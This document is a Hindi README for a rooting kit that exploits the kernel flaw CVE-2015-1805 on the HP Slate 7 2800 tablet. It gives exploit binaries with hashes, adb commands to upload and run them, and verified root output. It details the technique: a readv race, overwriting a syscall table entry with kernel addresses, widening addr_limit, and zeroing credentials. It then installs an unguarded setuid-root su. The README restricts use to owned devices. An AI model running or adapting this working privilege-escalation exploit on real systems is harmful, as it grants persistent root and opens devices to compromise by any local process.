
CVE-2015-1805 का उपयोग करने वाला HP Slate 7 2800 Android 4.1.1 रूटिंग किट।
English | Русский
इस रिपॉज़िटरी में HP Slate 7 2800 पर स्थायी रूट एक्सेस प्राप्त करने के लिए एक संपूर्ण, स्व-निहित किट है, जो फर्मवेयर 1.05.18 और कर्नेल Linux 3.0.8+ पर चलने वाले डिवाइस पर स्थानीय भेद्यता CVE-2015-1805 का शोषण करता है। किट को वास्तविक टैबलेट पर चलाया गया था, और परिणाम एक नए ADB सत्र से और सामान्य रिबूट के बाद सत्यापित किया गया था।
यह एक सार्वभौमिक Android रूटिंग टूल नहीं है। यह शोषण इस HP कर्नेल कॉन्फ़िगरेशन के लिए विशिष्ट है। इसे किसी भिन्न मॉडल, फर्मवेयर या कर्नेल संस्करण पर न चलाएँ।
| पैरामीटर | सत्यापित मान |
|---|---|
| निर्माता और मॉडल | HP Slate 7 2800 |
| Android | 4.1.1, API 16, बिल्ड JRO03H |
| उत्पाद / डिवाइस | t7h / pine |
| प्रोसेसर | Rockchip RK3066, ARMv7 |
| बिल्ड फ़िंगरप्रिंट | hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys |
| कर्नेल | 3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015 |
| ABI | 32-bit ARM EABI5 |
| SELinux | कर्नेल कॉन्फ़िगरेशन में मौजूद नहीं (CONFIG_SECURITY अक्षम है) |
/system पार्टिशन | ext4, डिफ़ॉल्ट रूप से केवल-पठनीय माउंटेड |
आप बिना कोई बदलाव किए डिवाइस का निरीक्षण कर सकते हैं:
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version
वैकल्पिक रूप से, नीचे दिए गए स्क्रिप्ट का उपयोग करें। यदि फ़िंगरप्रिंट या कर्नेल संस्करण मेल नहीं खाता है, तो यह आगे बढ़ने से इनकार कर देगा:
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL
.
├── bin/
│ ├── hp-slate7-cve-2015-1805-root # verified exploit
│ ├── hp-slate7-install-root # installs su into /system
│ └── hp-slate7-su # minimal setuid-root wrapper
├── src/
│ ├── exploit/ # CVE source and device-specific changes
│ ├── installer/install-root.c # installer source
│ └── su/rootsh.S # minimal su source
├── scripts/
│ ├── build.sh # rebuilds all three ELF files
│ ├── check-target.sh # safe compatibility check
│ └── root-device.sh # verifies, uploads, and runs the kit
├── SHA256SUMS # hashes of the verified bin/* files
├── NOTICE # attribution for the original PoC
└── LICENSE # GPL-3.0
सत्यापित बाइनरीज़ की SHA-256 चेकसम:
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
macOS पर सत्यापन:
shasum -a 256 -c SHA256SUMS
Linux पर सत्यापन:
sha256sum -c SHA256SUMS
टैबलेट पर bin/ से फ़ाइलों का उपयोग करें: ये वही बाइट्स हैं जो डिवाइस पर सत्यापित की गई थीं। build/ निर्देशिका स्थानीय पुनर्निर्माण के लिए है और Git द्वारा ट्रैक नहीं की जाती है।
CVE-2015-1805 पुराने Linux कर्नेल के pipe_read() और pipe_write() कार्यान्वयनों में एक दोष है। जब एक परमाणु प्रति विफल हो जाती है, तो कोड गलत तरीके से iovec ऐरे को पार करना जारी रखता है, संभावित रूप से एक पॉइंटर को उसकी सीमा से परे ले जाता है। परिणामस्वरूप, एक स्थानीय विशेषाधिकार-रहित प्रक्रिया मेमोरी को दूषित कर सकती है, कर्नेल को क्रैश कर सकती है, या अपने विशेषाधिकारों को बढ़ा सकती है। तंत्र का विस्तृत विवरण oss-security पर प्रकाशित किया गया था। फिक्स, अन्य स्थानों के अलावा, अपस्ट्रीम Linux कमिट 637b58c और f0d1bec में पाए जा सकते हैं।
टैबलेट का 3.0.8+ कर्नेल भेद्य साबित हुआ। कर्नेल मेमोरी को संशोधित करने से पहले, उसी रेस को एक हानिरहित प्रोब के साथ अलग से परीक्षण किया गया था, जिसके दोनों लेखन लक्ष्य परीक्षण प्रक्रिया की सामान्य मेमोरी में स्थित थे। इसने CVE-2015-1805: VULNERABLE रिपोर्ट किया, और टैबलेट ADB पर सुलभ बना रहा।
readv(), मेमोरी मैपिंग परिवर्तनों और कर्नेल के भेद्य पाइप कोड में एक बड़े iovec ऐरे के प्रसंस्करण के बीच एक रेस बनाता है।sys_call_table में अप्रयुक्त प्रविष्टि 222 को शोषण प्रक्रिया में एक छोटे ARM ट्रैम्पोलिन के पते से बदल देता है।0xffff0008 पर उच्च वेक्टर के माध्यम से गणना किया जाता है। सत्यापित डिवाइस पर, निर्देश 0xe59ff410 है, और इसका लिटरल vector_swi = 0xc04d0d40 की ओर इंगित करता है।vector_swi और sys_call_table को आधिकारिक HP ओपन सोर्स 1.05.10 कर्नेल संग्रह (संग्रह SHA-256: dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2) से rk30_t7h_dvt_defconfig डेफकॉन्फ़िग के साथ स्वतंत्र रूप से असेंबल किया गया था। उनका ऑफसेट 0xc4 है। इंस्टॉल किए गए फर्मवेयर में न तो OABI है और न ही seccomp, इसलिए तालिका का अंतिम रनटाइम पता है।पुराने कर्नेल हेडर से मूल current_thread_info() फ़ंक्शन -O0 पर आधुनिक Clang के साथ असंगत था: एक प्रारंभिक प्रोटोटाइप ने sp रजिस्टर के बजाय एक अप्रारंभिक शब्द पढ़ा और कर्नेल को क्रैश कर सकता था। इस रिपॉज़िटरी में, इसे एक सत्यापित नेकेड ARM ट्रैम्पोलिन से बदल दिया गया है। प्रारंभिक बाइनरी रिपॉज़िटरी में शामिल नहीं है।
bin/ से तैयार फ़ाइलों का उपयोग करने के लिएadb;आपको Android NDK, Java, Python, fastboot, अनलॉक किया बूटलोडर, कस्टम रिकवरी, रूटिंग APK या नेटवर्क एक्सेस की आवश्यकता नहीं है। शोषण और पेलोड स्थिर रूप से लिंक किए गए हैं।
shasum या sha256sum।Android NDK अभी भी आवश्यक नहीं है: Zig एक ARM musl क्रॉस-टूलचेन प्रदान करता है।
कनेक्शन जाँचें:
adb devices -l
स्थिति device होनी चाहिए, offline या unauthorized नहीं।
रिपॉज़िटरी रूट पर जाएँ और पहले सत्यापित करें कि डिवाइस बिल्कुल मेल खाता है:
./scripts/check-target.sh
यदि कई डिवाइस कनेक्टेड हैं, तो adb -s SERIAL का उपयोग करके हर कमांड में सीरियल नंबर पास करें, या ANDROID_SERIAL पर्यावरण चर सेट करें।
तीनों फ़ाइलों को उन नामों का उपयोग करके अपलोड करें जिनकी वे एक-दूसरे से अपेक्षा करती हैं:
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
अनुमतियाँ सेट करें और स्टेज की गई फ़ाइलों को स्टोरेज पर फ्लश करें:
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
शोषण एक बार चलाएँ:
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
सत्यापित सफल आउटपुट:
offset:c4
addr:c04d0d40
[+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0
यदि डिवाइस कुछ सेकंड के लिए ADB से गायब हो जाता है, तो शोषण को दोबारा न चलाएँ। इसके वापस आने की प्रतीक्षा करें:
adb wait-for-device
स्क्रिप्ट फ़िंगरप्रिंट और कर्नेल को सत्यापित करती है, SHA-256 हैश की जाँच करती है, फ़ाइलें अपलोड करती है, आपसे ROOT दर्ज करने के लिए कहती है, शोषण चलाती है, और uid=0 सत्यापित करती है:
./scripts/root-device.sh
कई डिवाइसों के लिए:
./scripts/root-device.sh --serial ADB_SERIAL
--yes विकल्प इंटरैक्टिव पुष्टिकरण को अक्षम करता है और केवल जानबूझकर किए गए स्वचालित उपयोग के लिए है:
./scripts/root-device.sh --serial ADB_SERIAL --yes
रूट को एक नए ADB शेल से सत्यापित करें, शोषण प्रक्रिया के uid से नहीं:
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '
अपेक्षित आउटपुट:
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...
इसके बाद, केवल अस्थायी स्टेजिंग फ़ाइलें हटाएँ। इंस्टॉल किया गया /system/xbin/su नहीं हटाया जाता है:
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
किट /data/local.prop नहीं बनाता है या उपयोगकर्ता डेटा को संशोधित नहीं करता है।
एक सामान्य रिबूट करें और फिर स्थायी रूट सत्यापित करें:
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'
सत्यापित टैबलेट ने रिबूट के बाद निम्नलिखित परिणाम दिया:
uid=0(root) gid=0(root) ...
इंस्टॉल की गई फ़ाइल को टैबलेट से वापस खींचा गया और वह bin/hp-slate7-su से बाइट-दर-बाइट मेल खाती थी:
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
एकल कमांड चलाने के लिए:
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'
hp-slate7-su जानबूझकर एक न्यूनतम रैपर है, जिसमें कोई Android ऐप, पुष्टिकरण प्रॉम्प्ट, डेमॉन या अनुमति लॉग नहीं है। /system/xbin/su को निष्पादित करने में सक्षम कोई भी स्थानीय प्रक्रिया संभावित रूप से रूट प्राप्त कर सकती है। रूट करने के बाद इस अप्रचलित टैबलेट का उपयोग संवेदनशील डेटा के लिए न करें, और अविश्वसनीय APK इंस्टॉल न करें।
पोर्टेबल Zig 0.15.2 का पथ निर्दिष्ट करें, या zig को PATH में जोड़ें:
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
आउटपुट build/ में लिखा जाएगा:
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su
फ़ाइल प्रारूपों की जाँच करें:
file build/hp-slate7-*
तीनों फ़ाइलें 32-बिट ARM EABI5 ELF फ़ाइलें होनी चाहिए। सत्यापित Zig 0.15.2 संस्करण के साथ, इंस्टॉलर और su बाइट-दर-बाइट bin/ में फ़ाइलों के समान पुनर्निर्मित होते हैं। DWARF और लिंकर मेटाडेटा में पूर्ण पथों के कारण शोषण हैश भिन्न हो सकता है; इसका महत्वपूर्ण छह-निर्देश ट्रैम्पोलिन सत्यापन बिल्ड में बाइट-दर-बाइट समान था। एक पुनर्निर्माण bin/ में उन फ़ाइलों के चेकसम को प्रतिस्थापित नहीं करता है जो वास्तव में टैबलेट पर चलाई गई थीं।
unauthorizedस्क्रीन अनलॉक करें और USB डिबगिंग RSA कुंजी स्वीकार करें। यदि प्रॉम्प्ट दिखाई नहीं देता है, तो केबल को पुनः कनेक्ट करें और adb devices -l दोबारा चलाएँ।
offline या डिवाइस गायब हो जाता हैकुछ सेकंड प्रतीक्षा करें और adb wait-for-device चलाएँ। यदि टैबलेट बंद हो गया है, तो इसे Power बटन से सामान्य रूप से चालू करें। शोषण का दूसरा इंस्टेंस एक साथ न चलाएँ।
[+] Done प्रिंट नहीं कियाCVE का शोषण एक रेस के माध्यम से किया जाता है और सैद्धांतिक रूप से विफल हो सकता है। एकल पुनः प्रयास करने से पहले टैबलेट को रिबूट करें। बाइनरी को लूप में न चलाएँ: एक असफल रेस कर्नेल को क्रैश कर सकती है।
su मौजूद है, लेकिन कमांड कोड 127 के साथ बाहर निकलता हैफ़ाइल के SHA-256 हैश को सत्यापित करें। एक प्रारंभिक शोध रैपर ने ARM पर argv को गलत तरीके से संभाला और कोड 127 के साथ बाहर निकला। इस रिपॉज़िटरी में SHA-256 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e के साथ सही किया गया 656-बाइट संस्करण शामिल है।
Android की वास्तविक स्थिति जाँचें:
adb shell getprop sys.boot_completed
adb shell dumpsys window windows
sys.boot_completed=1 का अर्थ है कि Android बूट हो चुका है, भले ही भौतिक डिस्प्ले अभी भी एक पुराना फ्रेम दिखा रहा हो।
अन्य प्रसिद्ध दृष्टिकोणों को सुरक्षित रूप से खारिज कर दिया गया या इस डिवाइस पर अनुपयुक्त पाया गया: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW और PingPongRoot। Towelroot/CVE-2014-3153 ने इस कर्नेल को क्रैश कर दिया और इसका उपयोग नहीं किया जाना चाहिए। CVE-2014-7951 ने ADB रीस्टोर पथ ट्रैवर्सल के माध्यम से एक फ़ाइल लिखना संभव बनाया, लेकिन HP फर्मवेयर ने /data/local.prop लोड नहीं किया, इसलिए इस विधि ने रूट प्रदान नहीं किया।
बूटलोडर एक पुराने Rockchip लोडर का उपयोग करता है और मानक fastboot डिवाइस के रूप में प्रकट नहीं हुआ। इस परिणाम के लिए रिकवरी फ्लैश करना या बूटलोडर अनलॉक करना आवश्यक नहीं था।
शोषण कोड mobilelinux/iovy_root_research, कमिट f945796 पर आधारित है, जो बदले में dosomder/iovyroot को संदर्भित करता है। डिवाइस-विशिष्ट परिवर्तनों में थ्रेड गणना कम करना, टाइमआउट ठीक करना, नेकेड ARM ट्रैम्पोलिन का उपयोग करना, syscall तालिका को जल्दी बहाल करना, cred को मान्य करना और अनुपयुक्त SELinux शाखा को अक्षम करना शामिल है।
मूल सूचनाएँ संरक्षित की गई हैं। रिपॉज़िटरी GPL-3.0 के तहत वितरित की जाती है; LICENSE और NOTICE देखें।
कर्नेल मेमोरी का शोषण हमेशा डिवाइस को रिबूट करने, सिस्टम को दूषित करने या डेटा खोने का जोखिम वहन करता है। यह किट केवल उस HP Slate 7 2800 के लिए है जो आपके स्वामित्व में है और जिसका फर्मवेयर बिल्कुल मेल खाता है। किसी भी महत्वपूर्ण डेटा का बैकअप लें, और इसे अन्य लोगों के डिवाइसों पर उपयोग न करें।
सुरक्षा अनुसंधान और दस्तावेज़ीकरण Daybreak Blue साइबरसुरक्षा एक्सेस के साथ GPT-5.6 Sol द्वारा संचालित OpenAI Codex की सहायता से पूरा किया गया।
रिपॉज़िटरी स्थान: कैननिकल स्रोत · github · केवल-पठनीय मिरर
| फ़ाइल | प्रारूप | आकार | उद्देश्य |
|---|
bin/hp-slate7-cve-2015-1805-root | ELF 32-bit ARM EABI5, static, unstripped | 2,722,320 बाइट्स | CVE का शोषण करता है, uid 0 प्राप्त करता है, और इंस्टॉलर लॉन्च करता है |
bin/hp-slate7-install-root | ELF 32-bit ARM EABI5, static, stripped | 22,596 बाइट्स | अस्थायी रूप से /system को rw रीमाउंट करता है, su इंस्टॉल करता है, और ro बहाल करता है |
bin/hp-slate7-su | ELF 32-bit ARM EABI5, static, stripped | 656 बाइट्स | setresgid(0,0,0) और setresuid(0,0,0) को कॉल करता है, फिर /system/bin/sh लॉन्च करता है |
0xc04d0e04sp प्राप्त करता है, इसे 8,192-बाइट कर्नेल स्टैक आकार में संरेखित करता है, और ऑफसेट 8 पर केवल thread_info.addr_limit में -1 लिखता है। इसमें कोई बाहरी कॉल, प्रोलॉग या कंपाइलर रनटाइम कोड नहीं है।sys_ni_syscall हैं; सत्यापित कर्नेल पर बहाल किया गया पॉइंटर 0xc051900c है।addr_limit चौड़ा हो जाने पर, पाइप कॉपी वर्तमान task_struct को पढ़ता है, cred का पता लगाता है, और वर्तमान uid/gid मानों, संरेखण, संदर्भ गणना और real_cred == cred स्थिति का उपयोग करके संरचना को मान्य करता है। इन जाँचों के बाद ही uid/gid मान शून्य किए जाते हैं और क्षमता मास्क को एक से भर दिया जाता है।uid=0 प्राप्त करती है और /data/local/tmp/install-root लॉन्च करती है। इंस्टॉलर /system को rw रीमाउंट करता है, पेलोड को /system/xbin/su में कॉपी करता है, root:root स्वामित्व और मोड 06755 निर्दिष्ट करता है, sync() कॉल करता है, और /system को केवल-पठनीय रीमाउंट करता है।